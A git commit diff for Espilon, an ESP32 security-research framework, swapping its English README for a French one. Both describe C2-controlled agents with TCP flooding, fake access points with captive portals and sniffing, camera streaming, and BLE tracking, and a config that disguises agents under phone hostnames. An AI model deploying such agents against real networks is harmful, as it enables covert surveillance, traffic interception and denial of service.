ε - Merge implem-c2 into main
This commit is contained in:
commit
3311626d58
5
.gitignore
vendored
5
.gitignore
vendored
@ -48,6 +48,11 @@ logs/
|
|||||||
espilon_bot/logs/
|
espilon_bot/logs/
|
||||||
sdkconfig
|
sdkconfig
|
||||||
|
|
||||||
|
# C2 Runtime files (camera streams, recordings)
|
||||||
|
tools/c2/static/streams/*.jpg
|
||||||
|
tools/c2/static/recordings/*.avi
|
||||||
|
*.avi
|
||||||
|
|
||||||
# IDE and Editor
|
# IDE and Editor
|
||||||
.vscode/
|
.vscode/
|
||||||
!.vscode/settings.json
|
!.vscode/settings.json
|
||||||
|
|||||||
371
README.en.md
371
README.en.md
@ -1,371 +0,0 @@
|
|||||||
# Espilon
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
**Embedded ESP32 Agent Framework for Security Research and IoT**
|
|
||||||
|
|
||||||
[](LICENSE)
|
|
||||||
[](https://github.com/espressif/esp-idf)
|
|
||||||
[](https://www.espressif.com/en/products/socs/esp32)
|
|
||||||
|
|
||||||
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Full Documentation
|
|
||||||
|
|
||||||
**[View the full documentation here](https://docs.espilon.net)**
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
The MkDocs documentation includes:
|
|
||||||
|
|
||||||
```md
|
|
||||||
- Step-by-step installation guide
|
|
||||||
- Translate EN/FR
|
|
||||||
- WiFi and GPRS configuration
|
|
||||||
- Module and command reference
|
|
||||||
- Multi-device flasher guide
|
|
||||||
- C2 protocol specification
|
|
||||||
- Examples and use cases
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Quick Start
|
|
||||||
|
|
||||||
### Prerequisites
|
|
||||||
|
|
||||||
- ESP-IDF v5.3.2
|
|
||||||
- Python 3.8+
|
|
||||||
- ESP32 (any compatible model)
|
|
||||||
- LilyGO T-Call for GPRS mode (optional)
|
|
||||||
|
|
||||||
### Quick Installation
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1. Install ESP-IDF v5.3.2
|
|
||||||
mkdir -p ~/esp
|
|
||||||
cd ~/esp
|
|
||||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
|
||||||
cd esp-idf
|
|
||||||
./install.sh esp32
|
|
||||||
. ./export.sh
|
|
||||||
|
|
||||||
# 2. Clone Espilon
|
|
||||||
cd ~
|
|
||||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
|
||||||
cd Espilon-Net/espilon_bot
|
|
||||||
|
|
||||||
# 3. Configure with menuconfig or tools/flasher/devices.json
|
|
||||||
idf.py menuconfig
|
|
||||||
|
|
||||||
# 4. Build and flash
|
|
||||||
idf.py build
|
|
||||||
idf.py -p /dev/ttyUSB0 flash monitor
|
|
||||||
```
|
|
||||||
|
|
||||||
**Minimal configuration** (menuconfig):
|
|
||||||
|
|
||||||
```c
|
|
||||||
Espilon Bot Configuration
|
|
||||||
|- Device ID: "your_unique_id"
|
|
||||||
|- Network -> WiFi
|
|
||||||
| |- SSID: "YourWiFi"
|
|
||||||
| |- Password: "YourPassword"
|
|
||||||
|- Server
|
|
||||||
|- IP: "192.168.1.100"
|
|
||||||
|- Port: 2626
|
|
||||||
```
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## What is Espilon?
|
|
||||||
|
|
||||||
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
|
|
||||||
|
|
||||||
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
|
|
||||||
- **Education**: Learning embedded systems, network protocols, FreeRTOS
|
|
||||||
- **IoT prototyping**: Distributed communication, monitoring, sensors
|
|
||||||
|
|
||||||
### Connectivity Modes
|
|
||||||
|
|
||||||
| Mode | Hardware | Range | Use Case |
|
|
||||||
|------|----------|-------|----------|
|
|
||||||
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
|
|
||||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Architecture
|
|
||||||
|
|
||||||
```
|
|
||||||
+---------------------------------------------------------+
|
|
||||||
| ESP32 Agent |
|
|
||||||
| +-----------+ +----------+ +---------------------+ |
|
|
||||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
|
||||||
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
|
||||||
| +-----------+ +----------+ +---------------------+ |
|
|
||||||
| | | | |
|
|
||||||
| +-----------------------------------------------------+|
|
|
||||||
| | Module System (FreeRTOS) ||
|
|
||||||
| | [Network] [FakeAP] [Recon] [Custom...] ||
|
|
||||||
| +-----------------------------------------------------+|
|
|
||||||
+---------------------------------------------------------+
|
|
||||||
| Encrypted TCP
|
|
||||||
+---------------------+
|
|
||||||
| C2 Server (C3PO) |
|
|
||||||
| - Device Registry |
|
|
||||||
| - Group Management |
|
|
||||||
| - CLI Interface |
|
|
||||||
+---------------------+
|
|
||||||
```
|
|
||||||
|
|
||||||
### Key Components
|
|
||||||
|
|
||||||
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
|
||||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
|
||||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
|
||||||
- **Flasher**: Automated multi-device flashing tool
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Available Modules
|
|
||||||
|
|
||||||
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
|
|
||||||
|
|
||||||
### System Module (Built-in, always active)
|
|
||||||
|
|
||||||
Basic system commands:
|
|
||||||
|
|
||||||
- `system_reboot`: Reboot the ESP32
|
|
||||||
- `system_mem`: Display memory usage (heap free, heap min, internal free)
|
|
||||||
- `system_uptime`: Uptime since boot
|
|
||||||
|
|
||||||
### Network Module
|
|
||||||
|
|
||||||
Module for network reconnaissance and testing:
|
|
||||||
|
|
||||||
- `ping <host> [args...]`: ICMP connectivity test
|
|
||||||
- `arp_scan`: Discover hosts on local network via ARP
|
|
||||||
- `proxy_start <ip> <port>`: Start a TCP proxy
|
|
||||||
- `proxy_stop`: Stop the running proxy
|
|
||||||
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
|
|
||||||
|
|
||||||
### FakeAP Module
|
|
||||||
|
|
||||||
Module for creating simulated WiFi access points:
|
|
||||||
|
|
||||||
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
|
|
||||||
- `fakeap_stop`: Stop the fake AP
|
|
||||||
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
|
|
||||||
- `fakeap_clients`: List connected clients
|
|
||||||
- `fakeap_portal_start`: Enable captive portal
|
|
||||||
- `fakeap_portal_stop`: Disable captive portal
|
|
||||||
- `fakeap_sniffer_on`: Enable network traffic capture
|
|
||||||
- `fakeap_sniffer_off`: Disable capture
|
|
||||||
|
|
||||||
### Recon Module
|
|
||||||
|
|
||||||
Reconnaissance and data collection module. Two modes available:
|
|
||||||
|
|
||||||
#### Camera Mode (ESP32-CAM)
|
|
||||||
|
|
||||||
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
|
|
||||||
- `cam_stop`: Stop streaming
|
|
||||||
|
|
||||||
#### BLE Trilateration Mode
|
|
||||||
|
|
||||||
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
|
|
||||||
- `trilat stop`: Stop trilateration
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
|
|
||||||
|
|
||||||
Choose **only one module**:
|
|
||||||
|
|
||||||
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
|
|
||||||
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
|
|
||||||
- `CONFIG_MODULE_RECON`: Enable the Recon Module
|
|
||||||
- Then choose: `Camera` or `BLE Trilateration`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tools
|
|
||||||
|
|
||||||
### Multi-Device Flasher
|
|
||||||
|
|
||||||
Automated flasher to configure multiple ESP32s:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd tools/flasher
|
|
||||||
python3 flash.py --config devices.json
|
|
||||||
```
|
|
||||||
|
|
||||||
**devices.json**:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"project": "/path/to/espilon_bot",
|
|
||||||
"devices": [
|
|
||||||
{
|
|
||||||
"device_id": "esp001",
|
|
||||||
"port": "/dev/ttyUSB0",
|
|
||||||
"network_mode": "wifi",
|
|
||||||
"wifi_ssid": "MyNetwork",
|
|
||||||
"wifi_pass": "MyPassword",
|
|
||||||
"srv_ip": "192.168.1.100"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
|
||||||
|
|
||||||
### C2 Server (C3PO)
|
|
||||||
|
|
||||||
Command & Control server:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd tools/c2
|
|
||||||
pip3 install -r requirements.txt
|
|
||||||
python3 c3po.py --port 2626
|
|
||||||
```
|
|
||||||
|
|
||||||
**Commands**:
|
|
||||||
|
|
||||||
- `list`: List connected agents
|
|
||||||
- `select <id>`: Select an agent
|
|
||||||
- `cmd <command>`: Execute a command
|
|
||||||
- `group`: Manage agent groups
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Security
|
|
||||||
|
|
||||||
### Encryption
|
|
||||||
|
|
||||||
- **ChaCha20** for C2 communications
|
|
||||||
- **Configurable keys** via menuconfig
|
|
||||||
- **Protocol Buffers (nanoPB)** for serialization
|
|
||||||
|
|
||||||
**CHANGE DEFAULT KEYS** for production use:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Generate random keys
|
|
||||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
|
||||||
openssl rand -hex 12 # Nonce (12 bytes)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Responsible Use
|
|
||||||
|
|
||||||
Espilon should only be used for:
|
|
||||||
|
|
||||||
- **Authorized** penetration testing
|
|
||||||
- **Ethical** security research
|
|
||||||
- Education and training
|
|
||||||
- Legitimate IoT prototyping
|
|
||||||
|
|
||||||
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Use Cases
|
|
||||||
|
|
||||||
### WiFi Pentesting
|
|
||||||
|
|
||||||
- Network security auditing
|
|
||||||
- WPA2/WPA3 robustness testing
|
|
||||||
- Network mapping
|
|
||||||
|
|
||||||
### IoT Security Research
|
|
||||||
|
|
||||||
- IoT device testing
|
|
||||||
- Protocol analysis
|
|
||||||
- Vulnerability detection
|
|
||||||
|
|
||||||
### Education
|
|
||||||
|
|
||||||
- Cybersecurity labs
|
|
||||||
- Embedded systems courses
|
|
||||||
- CTF competitions
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Roadmap
|
|
||||||
|
|
||||||
### V2.0 (In Progress)
|
|
||||||
|
|
||||||
- [ ] Mesh networking (BLE/WiFi)
|
|
||||||
- [ ] Improve documentation
|
|
||||||
- [ ] OTA updates
|
|
||||||
- [ ] Collaborative multilateration
|
|
||||||
- [ ] Memory optimization
|
|
||||||
|
|
||||||
### Future
|
|
||||||
|
|
||||||
- [ ] Custom Espilon PCB
|
|
||||||
- [ ] ESP32-S3/C3 support
|
|
||||||
- [ ] Module SDK for third-party extensions
|
|
||||||
- [ ] Web UI for C2
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## License
|
|
||||||
|
|
||||||
Espilon is licensed under **MIT** with a security addendum.
|
|
||||||
|
|
||||||
See [LICENSE](LICENSE) for full details.
|
|
||||||
|
|
||||||
**In summary**:
|
|
||||||
- Free use for research, education, development
|
|
||||||
- Modification and distribution allowed
|
|
||||||
- **Obtain authorization** before any deployment
|
|
||||||
- Malicious use strictly prohibited
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Contributors
|
|
||||||
|
|
||||||
- **@Eun0us** - Core architecture, modules
|
|
||||||
- **@off-path** - C2 server, protocol
|
|
||||||
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
|
|
||||||
- **@wepfen** - Documentation, tools
|
|
||||||
|
|
||||||
### Contributing
|
|
||||||
|
|
||||||
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
|
|
||||||
|
|
||||||
**Join us**:
|
|
||||||
|
|
||||||
- Report bugs
|
|
||||||
- Propose features
|
|
||||||
- Submit PRs
|
|
||||||
- Improve documentation
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Useful Links
|
|
||||||
|
|
||||||
- **[Full documentation](https://docs.espilon.net)**
|
|
||||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
|
||||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
|
||||||
- **French README**: [README.md](README.md)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Support
|
|
||||||
|
|
||||||
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
|
||||||
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Originally presented at Le Hack (June 2025)**
|
|
||||||
|
|
||||||
**Made with love for security research and education**
|
|
||||||
428
README.fr.md
Normal file
428
README.fr.md
Normal file
@ -0,0 +1,428 @@
|
|||||||
|
# Espilon
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
|
||||||
|
|
||||||
|
[](LICENSE)
|
||||||
|
[](https://github.com/espressif/esp-idf)
|
||||||
|
[](https://www.espressif.com/en/products/socs/esp32)
|
||||||
|
|
||||||
|
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sommaire
|
||||||
|
|
||||||
|
- [Documentation Complète](#documentation-complète)
|
||||||
|
- [Quick Start](#quick-start)
|
||||||
|
- [Prérequis](#prérequis)
|
||||||
|
- [Installation Rapide](#installation-rapide)
|
||||||
|
- [Qu'est-ce qu'Espilon ?](#quest-ce-quespilon-)
|
||||||
|
- [Modes de Connectivité](#modes-de-connectivité)
|
||||||
|
- [Architecture](#architecture)
|
||||||
|
- [Composants Clés](#composants-clés)
|
||||||
|
- [Modules Disponibles](#modules-disponibles)
|
||||||
|
- [System Module](#system-module-built-in-toujours-actif)
|
||||||
|
- [Network Module](#network-module)
|
||||||
|
- [FakeAP Module](#fakeap-module)
|
||||||
|
- [Recon Module](#recon-module)
|
||||||
|
- [Outils](#outils)
|
||||||
|
- [Multi-Device Flasher](#multi-device-flasher)
|
||||||
|
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||||
|
- [Sécurité](#sécurité)
|
||||||
|
- [Chiffrement](#chiffrement)
|
||||||
|
- [Usage Responsable](#usage-responsable)
|
||||||
|
- [Cas d'Usage](#cas-dusage)
|
||||||
|
- [Roadmap](#roadmap)
|
||||||
|
- [Licence](#licence)
|
||||||
|
- [Contributeurs](#contributeurs)
|
||||||
|
- [Liens Utiles](#liens-utiles)
|
||||||
|
- [Support](#support)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Documentation Complète
|
||||||
|
|
||||||
|
**[Consultez la documentation complète ici](https://docs.espilon.net)**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
La documentation MkDocs inclut :
|
||||||
|
|
||||||
|
```md
|
||||||
|
- Guide d'installation pas à pas
|
||||||
|
- Traduction EN/FR
|
||||||
|
- Configuration WiFi et GPRS
|
||||||
|
- Référence des modules et commandes
|
||||||
|
- Guide du flasher multi-device
|
||||||
|
- Spécification du protocole C2
|
||||||
|
- Exemples et cas d'usage
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### Prérequis
|
||||||
|
|
||||||
|
- ESP-IDF v5.3.2
|
||||||
|
- Python 3.8+
|
||||||
|
- ESP32 (tout modèle compatible)
|
||||||
|
- LilyGO T-Call pour le mode GPRS (optionnel)
|
||||||
|
|
||||||
|
### Installation Rapide
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Installer ESP-IDF v5.3.2
|
||||||
|
mkdir -p ~/esp
|
||||||
|
cd ~/esp
|
||||||
|
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||||
|
cd esp-idf
|
||||||
|
./install.sh esp32
|
||||||
|
. ./export.sh
|
||||||
|
|
||||||
|
# 2. Cloner Espilon
|
||||||
|
cd ~
|
||||||
|
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||||
|
cd epsilon/espilon_bot
|
||||||
|
|
||||||
|
# 3. Configurer
|
||||||
|
idf.py menuconfig
|
||||||
|
|
||||||
|
# 4. Compiler et flasher
|
||||||
|
idf.py build
|
||||||
|
idf.py -p /dev/ttyUSB0 flash monitor
|
||||||
|
```
|
||||||
|
|
||||||
|
**Configuration minimale** (menuconfig) :
|
||||||
|
|
||||||
|
```c
|
||||||
|
Espilon Bot Configuration
|
||||||
|
├─ Device ID: "votre_id_unique"
|
||||||
|
├─ Network → WiFi
|
||||||
|
│ ├─ SSID: "VotreWiFi"
|
||||||
|
│ └─ Password: "VotreMotDePasse"
|
||||||
|
└─ Server
|
||||||
|
├─ IP: "192.168.1.100"
|
||||||
|
└─ Port: 2626
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Qu'est-ce qu'Espilon ?
|
||||||
|
|
||||||
|
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
|
||||||
|
|
||||||
|
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
|
||||||
|
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
|
||||||
|
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
|
||||||
|
|
||||||
|
### Modes de Connectivité
|
||||||
|
|
||||||
|
| Mode | Hardware | Portée | Use Case |
|
||||||
|
|------|----------|--------|----------|
|
||||||
|
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
|
||||||
|
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||||
|
|
||||||
|
**General Packet Radio Service** vs **WiFi**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```md
|
||||||
|
┌─────────────────────────────────────────────────────┐
|
||||||
|
│ ESP32 Agent │
|
||||||
|
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||||
|
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||||
|
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
||||||
|
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||||
|
│ ↓ ↓ ↓ │
|
||||||
|
│ ┌───────────────────────────────────────────────┐ │
|
||||||
|
│ │ Module System (FreeRTOS) │ │
|
||||||
|
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
|
||||||
|
│ └───────────────────────────────────────────────┘ │
|
||||||
|
└─────────────────────────────────────────────────────┘
|
||||||
|
↕ Encrypted TCP
|
||||||
|
┌──────────────────────┐
|
||||||
|
│ C2 Server (C3PO) │
|
||||||
|
│ - Device Registry │
|
||||||
|
│ - Group Management │
|
||||||
|
│ - CLI Interface │
|
||||||
|
└──────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### Composants Clés
|
||||||
|
|
||||||
|
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
||||||
|
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||||
|
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||||
|
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
||||||
|
- **Flasher** : Outil de flash multi-device automatisé
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Modules Disponibles
|
||||||
|
|
||||||
|
> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig.
|
||||||
|
|
||||||
|
### System Module (Built-in, toujours actif)
|
||||||
|
|
||||||
|
Commandes système de base :
|
||||||
|
|
||||||
|
- `system_reboot` : Redémarrage de l'ESP32
|
||||||
|
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
|
||||||
|
- `system_uptime` : Temps de fonctionnement depuis le boot
|
||||||
|
|
||||||
|
### Network Module
|
||||||
|
|
||||||
|
Module pour reconnaissance et tests réseau :
|
||||||
|
|
||||||
|
- `ping <host> [args...]` : Test de connectivité ICMP
|
||||||
|
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
||||||
|
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
|
||||||
|
- `proxy_stop` : Arrêter le proxy en cours
|
||||||
|
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
||||||
|
|
||||||
|
### FakeAP Module
|
||||||
|
|
||||||
|
Module pour création de points d'accès WiFi simulés :
|
||||||
|
|
||||||
|
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
|
||||||
|
- `fakeap_stop` : Arrêter le faux AP
|
||||||
|
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
|
||||||
|
- `fakeap_clients` : Lister les clients connectés
|
||||||
|
- `fakeap_portal_start` : Activer le portail captif
|
||||||
|
- `fakeap_portal_stop` : Désactiver le portail captif
|
||||||
|
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
|
||||||
|
- `fakeap_sniffer_off` : Désactiver la capture
|
||||||
|
|
||||||
|
### Recon Module
|
||||||
|
|
||||||
|
Module de reconnaissance et collecte de données. Deux modes disponibles :
|
||||||
|
|
||||||
|
#### Mode Camera (ESP32-CAM)
|
||||||
|
|
||||||
|
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
|
||||||
|
- `cam_stop` : Arrêter le streaming
|
||||||
|
|
||||||
|
#### Mode BLE Trilateration
|
||||||
|
|
||||||
|
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
||||||
|
- `trilat stop` : Arrêter la trilatération
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||||
|
|
||||||
|
Choisissez **un seul module** :
|
||||||
|
|
||||||
|
- `CONFIG_MODULE_NETWORK` : Active le Network Module
|
||||||
|
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
|
||||||
|
- `CONFIG_MODULE_RECON` : Active le Recon Module
|
||||||
|
- Puis choisir : `Camera` ou `BLE Trilateration`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Outils
|
||||||
|
|
||||||
|
### Multi-Device Flasher
|
||||||
|
|
||||||
|
Flasher automatisé pour configurer plusieurs ESP32 :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd tools/flasher
|
||||||
|
python3 flash.py --config devices.json
|
||||||
|
```
|
||||||
|
|
||||||
|
**devices.json** :
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"project": "/home/user/epsilon/espilon_bot",
|
||||||
|
"devices": [
|
||||||
|
## WiFi AGENT ##
|
||||||
|
{
|
||||||
|
"device_id": "ce4f626b",
|
||||||
|
"port": "/dev/ttyUSB0",
|
||||||
|
"srv_ip": "192.168.1.13",
|
||||||
|
"srv_port": 2626,
|
||||||
|
"network_mode": "wifi",
|
||||||
|
"wifi_ssid": "MyWiFi",
|
||||||
|
"wifi_pass": "MyPassword123",
|
||||||
|
"hostname": "pixel-8-pro",
|
||||||
|
"module_network": true,
|
||||||
|
"module_recon": false,
|
||||||
|
"module_fakeap": false,
|
||||||
|
"recon_camera": false,
|
||||||
|
"recon_ble_trilat": false,
|
||||||
|
"crypto_key": "testde32chars00000000000000000000",
|
||||||
|
"crypto_nonce": "noncenonceno"
|
||||||
|
},
|
||||||
|
|
||||||
|
## GPRS AGENT ##
|
||||||
|
{
|
||||||
|
"device_id": "a91dd021",
|
||||||
|
"port": "/dev/ttyUSB1",
|
||||||
|
"srv_ip": "203.0.113.10",
|
||||||
|
"srv_port": 2626,
|
||||||
|
"network_mode": "gprs",
|
||||||
|
"gprs_apn": "sl2sfr",
|
||||||
|
"hostname": "galaxy-s24-ultra",
|
||||||
|
"module_network": true,
|
||||||
|
"module_recon": false,
|
||||||
|
"module_fakeap": false
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||||
|
|
||||||
|
### C2 Server (C3PO)
|
||||||
|
|
||||||
|
Serveur de Command & Control :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd tools/c2
|
||||||
|
pip3 install -r requirements.txt
|
||||||
|
python3 c3po.py --port 2626
|
||||||
|
```
|
||||||
|
|
||||||
|
**Commandes** :
|
||||||
|
|
||||||
|
- `list` : Lister les agents connectés
|
||||||
|
- `select <id>` : Sélectionner un agent
|
||||||
|
- `cmd <command>` : Exécuter une commande
|
||||||
|
- `group` : Gérer les groupes d'agents
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sécurité
|
||||||
|
|
||||||
|
### Chiffrement
|
||||||
|
|
||||||
|
- **ChaCha20** pour les communications C2
|
||||||
|
- **Clés configurables** via menuconfig
|
||||||
|
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||||
|
|
||||||
|
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Générer des clés aléatoires
|
||||||
|
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||||
|
openssl rand -hex 12 # Nonce (12 bytes)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Usage Responsable
|
||||||
|
|
||||||
|
Espilon doit être utilisé uniquement pour :
|
||||||
|
|
||||||
|
- Tests d'intrusion **autorisés**
|
||||||
|
- Recherche en sécurité **éthique**
|
||||||
|
- Éducation et formation
|
||||||
|
- Prototypage IoT légitime
|
||||||
|
|
||||||
|
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cas d'Usage
|
||||||
|
|
||||||
|
### Pentest WiFi
|
||||||
|
|
||||||
|
- Audit de sécurité réseau
|
||||||
|
- Test de robustesse WPA2/WPA3
|
||||||
|
- Cartographie réseau
|
||||||
|
|
||||||
|
### IoT Security Research
|
||||||
|
|
||||||
|
- Test de devices IoT
|
||||||
|
- Analyse de protocoles
|
||||||
|
- Détection de vulnérabilités
|
||||||
|
|
||||||
|
### Éducation
|
||||||
|
|
||||||
|
- Labs de cybersécurité
|
||||||
|
- Cours d'embarqué
|
||||||
|
- CTF competitions
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Roadmap
|
||||||
|
|
||||||
|
### V2.0 (En cours)
|
||||||
|
|
||||||
|
- [ ] Mesh networking (BLE/WiFi)
|
||||||
|
- [ ] Implémenter Module reccoon dans C3PO
|
||||||
|
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
||||||
|
- [ ] OTA updates
|
||||||
|
- [ ] Multilatération collaborative
|
||||||
|
- [ ] Optimisation mémoire
|
||||||
|
|
||||||
|
### Future
|
||||||
|
|
||||||
|
- [ ] PCB custom Espilon
|
||||||
|
- [ ] Support ESP32-S3/C3
|
||||||
|
- [ ] Module SDK pour extensions tierces
|
||||||
|
- [ ] Web UI pour C2
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Licence
|
||||||
|
|
||||||
|
Espilon est sous licence **MIT** avec addendum de sécurité.
|
||||||
|
|
||||||
|
Voir [LICENSE](LICENSE) pour les détails complets.
|
||||||
|
|
||||||
|
**En résumé** :
|
||||||
|
|
||||||
|
- Utilisation libre pour recherche, éducation, développement
|
||||||
|
- Modification et distribution autorisées
|
||||||
|
- **Obtenir autorisation** avant tout déploiement
|
||||||
|
- Usage malveillant strictement interdit
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Contributeurs
|
||||||
|
|
||||||
|
- **@Eun0us** - Core architecture, modules
|
||||||
|
- **@off-path** - C2 server, protocol
|
||||||
|
- **@itsoktocryyy** - Network features, Wall Hack
|
||||||
|
- **@wepfen** - Documentation, tools
|
||||||
|
|
||||||
|
### Contribuer
|
||||||
|
|
||||||
|
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||||
|
|
||||||
|
**Rejoignez-nous** :
|
||||||
|
|
||||||
|
- Rapporter des bugs
|
||||||
|
- Proposer des features
|
||||||
|
- Soumettre des PRs
|
||||||
|
- Améliorer la doc
|
||||||
|
|
||||||
|
---
|
||||||
|
|
